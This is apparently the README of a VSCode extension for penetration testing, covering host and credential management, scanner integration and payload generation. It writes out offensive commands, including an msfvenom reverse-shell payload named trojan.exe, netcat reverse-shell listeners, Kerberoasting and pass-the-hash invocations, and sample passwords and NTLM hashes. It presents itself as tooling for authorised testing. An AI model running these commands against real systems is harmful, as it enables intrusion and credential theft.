🔫 专为渗透测试和网络安全工作流设计的强大 VSCode 扩展
一款功能强大的 VSCode 扩展,专门为渗透测试和网络安全工作流程设计。本扩展提供了集成工具,可直接在 VSCode 环境中进行有效负载生成、主机管理、凭证处理和安全扫描。
- 交互式 CodeLens:自动检测和管理 Markdown 文件中 YAML 块内的主机和凭证信息
- 主机配置:解析和管理目标主机,包括 IP 地址、主机名、别名和域控制器设置
- 凭证管理:处理用户凭证,支持多种认证格式(密码、NTLM 哈希)
- 环境变量导出:一键将主机和凭证导出为终端环境变量
- 当前目标选择:轻松切换活动目标以进行专注操作
- MSFVenom 集成:交互式有效负载创建,支持多种有效负载类型:
- Windows/Linux Meterpreter (TCP/HTTP/HTTPS)
- PHP、Python、Java 有效负载
- 多种输出格式(exe, elf, psh, dll, hta-psh 等)
- 高级选项(迁移、派生、隐蔽设置)
- Hashcat 集成:密码破解任务自动化
- 网络扫描:集成扫描器支持(rustscan, nuclei, dirsearch, wfuzz, feroxbuster, ffuf 等)
- 专用终端配置:
- Meterpreter Handler:自动配置 MSF 控制台处理程序
- Netcat Handler:用于反向 Shell 的监听会话
- Web Delivery:用于有效负载托管的 HTTP 服务器
- 命令执行:直接从 Markdown 代码块运行命令
- 交互式任务终端:用于长时间运行安全任务的专用终端
- 项目设置:使用以安全为中心的文件夹结构自动初始化工作区
- 文件监控:跨 Markdown 文件实时同步主机/凭证更改
- 变量处理:从工作区状态动态生成环境变量
- 导出功能:生成环境变量、/etc/hosts 条目、YAML 配置
- 格式转换:将凭证转换为 Impacket/NetExec 兼容格式
- 状态管理:切换主机和凭证的当前/活动状态
- 命令集成:直接从文档执行相关命令
- 原始 HTTP 请求:直接从 Markdown 中的 HTTP 代码块发送原始 HTTP/HTTPS 请求
- cURL 转换:将原始 HTTP 请求转换为 cURL 命令
- 响应查看:在 VSCode 中直接查看 HTTP 响应
- 主机切换:在所有 Markdown 文件中快速切换不同目标主机
- 用户切换:轻松切换凭证以适应不同的认证上下文
- 全局状态管理:集中管理当前活动目标
- CyberChef 集成:一键使用 CyberChef 的 Magic 配方解码选定文本
- 自动编码检测:智能检测和解码常见编码格式
- 浏览器集成:与 VSCode 的简单浏览器无缝集成
- 命令日志:自动记录终端命令和输出
- 可配置日志级别:选择仅记录命令或同时记录命令和输出
- 会话跟踪:使用时间戳和工作目录跟踪终端会话
- 日志管理:根据测试的不同阶段按需启动/停止日志记录
- Shell Integration 支持:需要 VSCode Shell Integration 为 Rich 模式才能正常工作
- Foam 集成:为主机、用户和服务创建结构化笔记
- 基于模板创建:使用预定义模板自动创建笔记
- 图形可视化:可视化目标和凭证之间的关系
- GTFOBins:Linux 二进制文件提权代码片段
- LOLBAS:Windows Living Off The Land 二进制文件代码片段
- BloodHound:Active Directory 关系查询代码片段
- 自定义武器片段:常用渗透测试命令和配置
- BloodHound 定义:悬停显示 BloodHound 查询关键字的详细说明
# 克隆仓库
git clone https://github.com/WeaponizedVSCode/Extension.git
cd Extension
# 安装依赖
pnpm install
# 构建扩展
pnpm run vscode:publish
# 将在仓库根目录生成 .vsix 文件
# 在 VSCode 中安装
code --install-extension ./core-*.vsix本扩展依赖 Foam 扩展进行笔记管理:
- 在 VSCode 扩展市场搜索
foam.foam-vscode - 安装 Foam 扩展
- 重新加载 VSCode
打开 VSCode 命令面板(Ctrl+Shift+P 或 Cmd+Shift+P),运行:
weapon management: Setup/Create/Init weaponized vscode folder in current workspace
这将创建必要的文件夹结构和配置文件:
workspace/
├── .foam/
│ └── templates/ # Foam 笔记模板
│ ├── finding.md
│ ├── host.md
│ ├── service.md
│ └── user.md
├── .vscode/
│ ├── settings.json # 扩展配置
│ ├── extensions.json # 推荐扩展
│ └── .zshrc # Shell 环境配置
├── hosts/ # 主机定义文件
│ └── [category]/
│ └── *.md
├── users/ # 凭证定义文件
│ └── [category]/
│ └── *.md
└── services/ # 服务信息文件
└── [category]/
└── *.md
打开 .vscode/settings.json,配置您的本地主机信息:
{
"weaponized.lhost": "10.10.14.5",
"weaponized.lport": 4444,
"weaponized.listenon": 8000
}在 hosts/ 目录下创建一个 Markdown 文件,例如 hosts/htb/machine.md:
# 目标机器
## 主机信息
```yaml host
- hostname: target.htb
ip: 10.10.10.100
alias:
- www.target.htb
is_dc: false
is_current: true
is_current_dc: false
props: {}
```保存文件后,您将看到 CodeLens 按钮出现在 YAML 块上方。
为了让环境变量在新终端中自动加载,需要在您的 shell 配置文件(.zshrc 或 .bashrc)中添加以下内容:
# Weaponized VSCode 环境变量自动加载
weapon_vscode_launch_helper () {
if [ -n "$PROJECT_FOLDER" ]; then
if [ -f "$PROJECT_FOLDER/.vscode/.zshrc" ]; then
source $PROJECT_FOLDER/.vscode/.zshrc
fi
fi
}
weapon_vscode_launch_helper运行 weapon management: Setup/Create/Init weaponized vscode folder in current workspace 命令时,扩展会检测您的 shell 配置并提供复制按钮。
在 hosts/ 或 hosts/[category]/ 目录下的 Markdown 文件中添加 YAML 块:
## 目标主机
```yaml host
- hostname: dc01.corp.local
ip: 192.168.1.10
alias:
- corp.local
- domain.corp.local
is_dc: true
is_current: true
is_current_dc: true
props:
ENV_DOMAIN: corp.local
ENV_DC: dc01.corp.local
```| 字段 | 类型 | 描述 |
|---|---|---|
hostname |
string | 主机名 |
ip |
string | IP 地址 |
alias |
string[] | 主机别名列表 |
is_dc |
boolean | 是否为域控制器 |
is_current |
boolean | 是否为当前活动目标 |
is_current_dc |
boolean | 是否为当前活动域控制器 |
props |
object | 自定义属性(以 ENV_ 开头的会导出为环境变量) |
在主机 YAML 块上方,您将看到以下 CodeLens 按钮:
- export to terminal:将主机信息导出为环境变量到终端
- export as current:将主机设为当前目标并导出
- set as current:设置主机为当前活动目标
- unset as current:取消主机的当前状态
- Scan host:直接对当前主机块中的目标运行扫描器
当主机被标记为 is_current: true 时,导出以下变量:
export CURRENT_HOST='dc01.corp.local'
export HOST='dc01.corp.local'
export DOMAIN='dc01.corp.local'
export RHOST='192.168.1.10'
export IP='192.168.1.10'
export TARGET='dc01.corp.local'使用命令面板运行:
weapon management: Switch/Set current host
从列表中选择目标主机,扩展将自动更新所有相关 Markdown 文件中的 is_current 状态。
运行命令:
weapon management: List/Dump all hosts
将以表格形式显示所有已发现的主机信息。
在 users/ 或 users/[category]/ 目录下的 Markdown 文件中添加 YAML 块:
## 凭证信息
```yaml credentials
- user: administrator
password: P@ssw0rd123
login: CORP
is_current: true
props: {}
- user: svc_backup
nt_hash: 5fbc3d5fec8206a30f4b6c473d68ae76
login: CORP
is_current: false
props:
ENV_SVC_USER: svc_backup
```| 字段 | 类型 | 描述 |
|---|---|---|
user |
string | 用户名 |
password |
string | 密码(与 nt_hash 二选一) |
nt_hash |
string | NTLM 哈希值(与 password 二选一) |
login |
string | 登录域或上下文 |
is_current |
boolean | 是否为当前活动凭证 |
props |
object | 自定义属性 |
在凭证 YAML 块上方,您将看到以下 CodeLens 按钮:
- export to terminal:将凭证导出为环境变量
- export as current:将凭证设为当前并导出
- dump as impacket:以 Impacket 格式输出凭证
- dump as nxc:以 NetExec (nxc) 格式输出凭证
- set as current:设置凭证为当前活动凭证
- unset as current:取消凭证的当前状态
# 使用密码
'CORP'/'administrator':'P@ssw0rd123'
# 使用 NTLM 哈希
'CORP'/'svc_backup' -hashes ':5fbc3d5fec8206a30f4b6c473d68ae76'# 使用密码
'CORP' -u 'administrator' -p 'P@ssw0rd123'
# 使用 NTLM 哈希
'CORP' -u 'svc_backup' -H ':5fbc3d5fec8206a30f4b6c473d68ae76'使用命令面板运行:
weapon management: Switch/Set current user
在 Markdown 文件中添加 Shell 代码块:
## 枚举命令
```bash
nmap -sS -sV -O $TARGET
```
```powershell
Get-ADUser -Filter * | Select-Object Name,SamAccountName
```支持的代码块类型:
bashshzshpowershell
每个代码块上方会显示:
- Run command in terminal:在终端中执行命令
- Copy commands:复制命令到剪贴板
命令中可以使用环境变量,如 $TARGET、$USER、$PASSWORD 等。
在 Markdown 文件中添加 HTTP 代码块:
## API 测试
```http
POST /api/login HTTP/1.1
Host: target.htb
Content-Type: application/json
Content-Length: 42
{"username": "admin", "password": "test"}
```HTTP 代码块上方会显示:
- Send HTTP Request:发送 HTTP 请求
- Send HTTPS Request:发送 HTTPS 请求
- Convert to cURL:转换为 cURL 命令
响应将在新的编辑器标签页中显示。
运行命令:
weapon task: Create msfvenom payload
-
选择有效负载类型:
windows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_tcplinux/x64/meterpreter/reverse_tcpphp/meterpreter/reverse_tcppython/meterpreter/reverse_tcpjava/meterpreter/reverse_tcp- 等等...
-
选择输出格式:
exe- Windows 可执行文件elf- Linux 可执行文件psh- PowerShell 脚本dll- Windows 动态链接库hta-psh- HTA PowerShellraw- 原始 shellcodejsp/war- Java 有效负载- 等等...
-
选择高级选项(可多选):
PrependMigrate=true PrependMigrateProc=explorer.exe- 自动迁移进程PrependFork=true- 派生新进程AutoSystemInfo=false- 禁用自动系统信息收集- 等等...
-
指定输出文件名:
- 默认:
./trojan - 支持变量:
${workspaceFolder}/payloads/shell
- 默认:
-
启动监听器:
- 选择 "Yes" 将自动启动 Meterpreter handler
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 PrependMigrate=true PrependMigrateProc=explorer.exe -o ./trojan.exe -f exe运行命令:
weapon task: Run scanner over target
- 选择目标主机:从已发现的主机列表中选择
- 选择扫描选项:主机名、IP 或别名
- 选择扫描器:从配置的扫描器列表中选择
| 扫描器 | 命令 |
|---|---|
| rustscan | rustscan -a $TARGET -- --script=vuln -A |
| nuclei | nuclei -target $TARGET |
| dirsearch | dirsearch -u http://$TARGET |
| dirsearch https | dirsearch -u https://$TARGET |
| feroxbuster | feroxbuster -u http://$TARGET -w ... -x php,html,txt -t 50 |
| wfuzz subdomain | wfuzz -c -w ... -u http://$TARGET -H 'Host: FUZZ.$TARGET' --hc 404 |
| ffuf subdomain | ffuf -c -w ... -u http://$TARGET -H 'Host: FUZZ.$TARGET' -fc 404 |
在 settings.json 中添加自定义扫描器:
{
"weaponized.scanners": {
"nmap_full": "nmap -sS -sV -O -A -T4 --script vuln $TARGET",
"masscan": "masscan -p1-65535 $TARGET --rate=1000",
"custom_scan": "my-custom-scanner --target $TARGET --aggressive"
}
}运行命令:
weapon task: Crack hashes with hashcat
-
选择哈希文件:浏览并选择包含哈希的文件
-
选择哈希模式:
Dictionary Attack (0)- 字典攻击Combination Attack (1)- 组合攻击Brute-force Attack (3)- 暴力破解Rule-based Attack (6)- 基于规则的攻击
-
选择哈希类型:
- MD5、SHA1、SHA256
- NTLM、NetNTLMv2
- Kerberos TGS、AS-REP
- 等等...
-
选择设备:CPU 或 GPU
-
指定字典/选项:默认使用
$ROCKYOU
- 在编辑器中选择需要解码的文本
- 运行命令:
weapon feature: Decode selected text
- CyberChef 将在 VSCode 简单浏览器中打开,自动应用 Magic 配方尝试解码
支持自动检测的编码格式:
- Base64
- URL 编码
- Hex
- 旋转编码(ROT13等)
- 其他常见编码
终端记录器功能依赖 VSCode 的 Shell Integration 功能。您需要确保:
-
VSCode 设置:确保 Terminal Shell Integration 已启用(默认启用)
-
Shell 配置:在您的
.zshrc或.bashrc中添加 Shell Integration 支持:
对于 Zsh,在 .zshrc 中添加:
# VSCode Shell Integration for Zsh
[[ "$TERM_PROGRAM" == "vscode" ]] && . "$(code --locate-shell-integration-path zsh)"对于 Bash,在 .bashrc 中添加:
# VSCode Shell Integration for Bash
[[ "$TERM_PROGRAM" == "vscode" ]] && . "$(code --locate-shell-integration-path bash)"- 验证:重启终端后,您应该能在终端行首看到特殊的标记符号,表明 Shell Integration 已激活
💡 提示:Shell Integration 启用后,VSCode 能够捕获每个命令的执行情况、工作目录和输出内容。
运行命令:
weapon recorder: Start/Register terminal logger
-
日志文件路径:
- 默认:
${workspaceFolder}/.vscode/.terminal.log - 支持自定义路径
- 默认:
-
日志级别:
command-only:仅记录命令output-only:仅记录输出command-and-output:记录命令和输出netcat-handler:专用于 netcat 处理程序的模式
-
终端选择:
- 选择特定终端进程 ID
- 或选择 "All terminals" 记录所有终端
运行命令:
weapon recorder: Stop/Unregister terminal logger
在 settings.json 中配置:
{
"weaponized.terminal-log.enabled": true,
"weaponized.terminal-log.path": "${workspaceFolder}/.vscode/.terminal.log",
"weaponized.terminal-log.level": "command-and-output"
}weaponized-terminal-logging:[1701234567890][terminalid: 12345][terminalName: zsh] user@/home/kali/project$ nmap -sS 10.10.10.100
Starting Nmap 7.94 ( https://nmap.org )
...
运行命令:
weapon foam: Create/New note (user/host/service) from foam template
- host.md:主机笔记模板
- user.md:用户凭证笔记模板
- service.md:服务信息笔记模板
- finding.md:发现/漏洞笔记模板
- report.js:自动生成渗透测试报告(高级功能)
运行命令:
weapon foam: Show Foam Graph
可视化查看主机、用户、服务之间的关系。
report.js 是一个高级 Foam 模板脚本,能够自动分析您的笔记关系并生成完整的渗透测试报告。
功能特点:
-
图关系分析:
- 自动解析 Foam 工作区中所有的主机、用户、服务笔记
- 构建笔记之间的引用关系图
- 区分主机关系边和用户关系边
-
攻击路径计算:
- 使用 Tarjan 算法 检测强连通分量 (SCC)
- 通过 DAG 拓扑排序计算最长攻击路径
- 自动识别权限提升链路
-
Mermaid 图表生成:
- 自动生成用户权限提升关系的 Mermaid 流程图
- 可视化展示攻击路径
-
报告内容:
- 主机信息汇总(自动嵌入所有主机笔记)
- 完整关系图(Mermaid 格式)
- 权限提升路径(按攻击顺序排列)
- 额外获取的用户(不在主攻击路径上的用户)
使用方法:
运行 Foam 的 Create note from template 命令,选择 report.js 模板。
生成的报告结构:
---
title: Final Penetration Testing Report
type: report
---
# Final Penetration Testing Report
## Hosts Information
[自动嵌入所有主机笔记内容]
## Full Relations graph
[Mermaid 流程图]
## Privilege Escalation Path
### Initial User: [初始用户]
[用户笔记内容]
### User [后续用户]
[用户笔记内容]
...
## Extra Pwned Users
[不在主攻击路径上的其他用户]最佳实践:
- 在用户笔记中使用
[[链接]]语法关联到下一个获取的用户 - 设置笔记的
type属性为user、host或service - 保持笔记之间的引用关系清晰,以便生成准确的攻击路径
本扩展提供以下专用终端配置:
自动启动带有配置好的 handler 的 msfconsole。
在终端下拉菜单中选择 "meterpreter handler"。
直接启动 msfconsole(如果配置了资源文件,将自动加载)。
在终端下拉菜单中选择 "msfconsole"。
启动 netcat 监听会话以接收反向 Shell。
在终端下拉菜单中选择 "netcat handler"。
默认命令:
rlwrap -I -cAr netcat -lvvp ${config:weaponized.lport}启动 HTTP 服务器用于有效负载分发。
在终端下拉菜单中选择 "web delivery"。
默认命令:
simplehttpserver -listen 0.0.0.0:${config:weaponized.listenon} -verbose -upload在 Markdown 文件中输入代码片段前缀,然后按 Tab 或 Enter 展开。
| 前缀 | 描述 |
|---|---|
find suid |
查找具有 SUID 权限的文件 |
pty python |
Python PTY 控制台 |
psql |
PostgreSQL 登录/RCE |
```yaml credentials |
用户凭证 YAML 模板 |
```yaml host |
主机信息 YAML 模板 |
```sh |
Shell 代码块 |
Linux 二进制文件的提权代码片段,包括:
- 文件读取
- 文件写入
- SUID 利用
- Shell 获取
- 等等...
Windows Living Off The Land 二进制文件代码片段。
Active Directory 环境分析查询代码片段。
{
// === 网络配置 ===
"weaponized.lhost": "10.10.14.5",
"weaponized.lport": 4444,
"weaponized.listenon": 8000,
// === 工具路径 ===
"weaponized.netcat": "rlwrap -I -cAr netcat -lvvp ${config:weaponized.lport}",
"weaponized.webdelivery": "python3 -m http.server ${config:weaponized.listenon}",
"weaponized.hashcat": "/usr/bin/hashcat",
// === Metasploit 配置 ===
"weaponized.msf.venom": "/usr/bin/msfvenom",
"weaponized.msf.console": "/usr/bin/msfconsole",
"weaponized.msf.resourcefile": "./handlers.rc",
// === 用户变量 ===
"weaponized.user_vars": {
"kali_wordlists": "/usr/share/wordlists",
"kali_seclists": "/usr/share/seclists",
"dns_top100000": "${config:weaponized.user_vars.kali_seclists}/Discovery/DNS/bitquark-subdomains-top100000.txt",
"dir_raft_medium": "${config:weaponized.user_vars.kali_seclists}/Discovery/Web-Content/raft-medium-directories.txt",
"rockyou": "${config:weaponized.user_vars.kali_wordlists}/rockyou.txt"
},
// === 环境变量 ===
"weaponized.envs": {
"WORDLIST_DIR": "/usr/share/wordlists",
"CUSTOM_PAYLOAD_DIR": "./payloads"
},
// === 扫描器配置 ===
"weaponized.scanners": {
"rustscan": "rustscan -a $TARGET -- --script=vuln -A",
"nuclei": "nuclei -target $TARGET",
"dirsearch": "dirsearch -u http://$TARGET",
"nmap_full": "nmap -sS -sV -O -A -T4 --script vuln $TARGET"
},
// === 终端日志 ===
"weaponized.terminal-log.enabled": false,
"weaponized.terminal-log.path": "${workspaceFolder}/.vscode/.terminal.log",
"weaponized.terminal-log.level": "command-only"
}| 参数 | 类型 | 默认值 | 描述 |
|---|---|---|---|
weaponized.lhost |
string | $LHOST |
本地主机 IP,用于反向连接 |
weaponized.lport |
integer | 6879 |
反向 Shell 监听端口 |
weaponized.listenon |
integer | 8890 |
Web 服务器监听端口 |
| 参数 | 类型 | 默认值 | 描述 |
|---|---|---|---|
weaponized.netcat |
string | rlwrap -I -cAr netcat -lvvp ... |
Netcat 命令模板 |
weaponized.webdelivery |
string | simplehttpserver ... |
Web 分发服务器命令 |
weaponized.hashcat |
string | hashcat |
Hashcat 可执行文件路径 |
| 参数 | 类型 | 默认值 | 描述 |
|---|---|---|---|
weaponized.msf.venom |
string | msfvenom |
MSFVenom 路径 |
weaponized.msf.console |
string | msfconsole |
MSFConsole 路径 |
weaponized.msf.resourcefile |
string | - | MSF 资源文件路径 |
扩展支持以下动态变量替换:
| 变量 | 描述 |
|---|---|
$TARGET |
当前目标主机名/IP |
$LHOST |
本地主机配置 |
$LPORT |
本地端口配置 |
${config:weaponized.setting} |
任何扩展配置 |
${workspaceFolder} |
工作区根目录 |
| 自定义环境变量 | 来自 weaponized.envs |
本扩展的核心优势之一是全自动环境变量管理系统,它能显著提升渗透测试的效率和一致性。
在传统渗透测试中,测试人员需要反复输入目标 IP、用户名、密码等信息。使用本扩展的环境变量系统,您可以:
# 传统方式 - 每次都要输入完整信息
nmap -sS -sV 10.10.10.100
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd123'
evil-winrm -i 10.10.10.100 -u administrator -p 'P@ssw0rd123'
# 使用环境变量 - 简洁高效
nmap -sS -sV $RHOST
crackmapexec smb $RHOST -u $USER -p $PASS
evil-winrm -i $RHOST -u $USER -p $PASS当您切换当前目标主机或用户时,环境变量自动更新:
# 切换目标后,同样的命令自动指向新目标
echo "当前目标: $TARGET ($RHOST)"
echo "当前用户: $USER / $PASS"| 变量 | 来源 | 描述 |
|---|---|---|
$TARGET |
当前主机 | 目标主机名 |
$HOST |
当前主机 | 主机名(同 TARGET) |
$DOMAIN |
当前主机 | 域名 |
$RHOST |
当前主机 | 目标 IP 地址 |
$IP |
当前主机 | IP 地址(同 RHOST) |
$DC_HOST |
当前 DC | 域控主机名 |
$DC_IP |
当前 DC | 域控 IP |
$USER |
当前用户 | 用户名 |
$USERNAME |
当前用户 | 用户名(同 USER) |
$PASS |
当前用户 | 密码 |
$PASSWORD |
当前用户 | 密码(同 PASS) |
$NT_HASH |
当前用户 | NTLM 哈希 |
$LOGIN |
当前用户 | 登录域 |
$LHOST |
配置 | 本地监听 IP |
$LPORT |
配置 | 本地监听端口 |
通过 props 字段添加自定义环境变量:
- hostname: target.htb
ip: 10.10.10.100
props:
ENV_WEB_PORT: "8080"
ENV_API_ENDPOINT: "/api/v1"这将导出:
export WEB_PORT='8080'
export API_ENDPOINT='/api/v1'## 配置文件 hosts/ad.md
```yaml host
- hostname: dc01.corp.local
ip: 192.168.1.10
is_dc: true
is_current_dc: true
props:
ENV_DOMAIN_NAME: CORP
```## 配置文件 users/admin.md
```yaml credentials
- user: administrator
password: P@ssw0rd!
login: CORP
is_current: true
```# Kerberoasting
impacket-GetUserSPNs "$LOGIN/$USER:$PASS" -dc-ip $DC_IP -request
# 导出域信息
bloodhound-python -u $USER -p $PASS -d $DOMAIN_NAME -dc $DC_HOST -c all
# 使用 Evil-WinRM 连接
evil-winrm -i $RHOST -u $USER -p $PASS
# NTLM 哈希认证
crackmapexec smb $RHOST -u $USER -H $NT_HASH扩展会监控 hosts/ 和 users/ 目录下的 Markdown 文件变化:
- 文件保存时:自动解析 YAML 块,更新工作区状态
- 变量导出:将当前目标的信息写入
.vscode/.zshrc - 终端加载:新终端自动加载环境变量
初始化工作区后,.vscode/.zshrc 还提供以下辅助函数:
# 查看当前目标状态
current_status
# URL 编码/解码
url encode "test string"
url decode "test%20string"
# 生成 NTLM 哈希
ntlm "password123"
# 代理切换
proxys on # 开启代理
proxys off # 关闭代理
proxys show # 显示当前代理
# VHOST 枚举
wfuzz_vhost_http target.htb /path/to/wordlist
wfuzz_vhost_https target.htb /path/to/wordlist-
组织结构:按目标或项目组织 hosts/users 目录
hosts/ ├── external/ │ └── web-servers.md └── internal/ ├── domain-controllers.md └── workstations.md -
命名规范:使用有意义的主机名和用户描述
-
及时更新:获取新凭证后立即添加到对应的 YAML 块
-
使用
is_current:始终标记当前正在操作的目标 -
善用
props:存储目标特定的配置信息
- VSCode:版本 1.101.0 或更高
- Node.js:用于扩展运行时
- 操作系统:macOS、Linux 或 Windows
- Foam (
foam.foam-vscode):用于笔记管理和图形可视化
msfvenom- 有效负载生成msfconsole- Handler 管理
hashcat- GPU 加速密码破解
rustscan- 快速端口扫描nmap- 网络发现和安全审计nuclei- 漏洞扫描dirsearch- 目录枚举feroxbuster- 目录暴力破解wfuzz/ffuf- Web 应用模糊测试
netcat/ncat- 基础反向 Shell 处理rlwrap- Readline 包装器,改善 Shell 交互pwncat-cs- 增强型反向 Shell 处理(可选替代)
在使用这些工具针对任何系统之前,请确保您拥有适当的授权。未经授权使用这些工具可能违反法律。
MIT License - 详见 LICENSE 文件
欢迎提交 Issue 和 Pull Request!
如有问题或建议,请在 GitHub Issues 中提出。